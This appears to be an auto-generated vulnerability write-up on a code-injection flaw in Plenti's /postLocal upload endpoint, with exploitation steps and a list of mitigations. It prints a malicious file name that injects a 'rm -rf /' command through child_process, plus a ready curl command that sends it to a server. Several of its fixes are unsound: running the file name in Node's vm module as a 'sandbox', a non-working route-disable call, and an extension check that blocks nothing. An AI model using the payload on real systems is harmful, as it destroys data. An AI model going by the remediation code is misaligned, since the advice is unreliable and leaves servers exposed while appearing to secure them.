How the CVE Works:
Plenti versions up to 0.7.16 are vulnerable to a code injection vulnerability due to improper handling of user-supplied input in the `/postLocal` endpoint. When users upload `.svelte` files, the server processes the file name as executable JavaScript code. This allows an attacker to craft malicious file names containing arbitrary JavaScript code, which the server executes on the host. This vulnerability can lead to remote code execution (RCE), enabling attackers to take control of the server, manipulate data, or cause a denial of service (DoS).
DailyCVE Form:
Platform: Plenti
Version: <= 0.7.16
Vulnerability: Code Injection
Severity: Moderate
Date: Mar 12, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Payload:
Attackers can create a `.svelte` file with a name like "; require('child_process').exec('rm -rf /'); //.svelte.
When uploaded via /postLocal, the server executes the malicious code.
2. Exploit Command:
curl -F "[email protected]" -F "filename=\"; require('child_process').exec('rm -rf /'); //" http://target.com/postLocal
3. Impact:
- Remote Code Execution (RCE).
- Denial of Service (DoS).
- Data manipulation or exfiltration.
Protection:
1. Input Validation:
Sanitize file names to prevent execution of malicious code.
const sanitizeFilename = require('sanitize-filename');
const safeFilename = sanitizeFilename(filename);
2. Patch Update:
Upgrade to Plenti version 0.7.17 or later, which fixes this vulnerability.
3. Server-Side Restrictions:
Restrict file uploads to specific formats and validate content.
if (!filename.endsWith('.svelte')) {
throw new Error('Invalid file type');
}
4. Sandboxing:
Use sandboxing techniques to isolate file execution.
const vm = require('vm');
const script = new vm.Script(safeFilename, { timeout: 1000 });
script.runInNewContext({});
5. Logging and Monitoring:
Monitor file uploads and log suspicious activities.
console.log(<code>File uploaded: ${safeFilename} by ${userIP}</code>);
6. Disable Dangerous Endpoints:
Temporarily disable `/postLocal` until patched.
app.disable('/postLocal');
7. Use Web Application Firewall (WAF):
Configure WAF rules to block malicious payloads.
Example WAF rule for ModSecurity SecRule ARGS:filename "@contains ;" "deny,status:403,id:1001"
8. Regular Security Audits:
Conduct periodic code reviews and penetration testing.
By following these steps, you can mitigate the risks associated with this vulnerability and protect your systems from exploitation.
References:
Reported By: https://github.com/advisories/GHSA-323w-6p85-26fr
Extra Source Hub:
Undercode
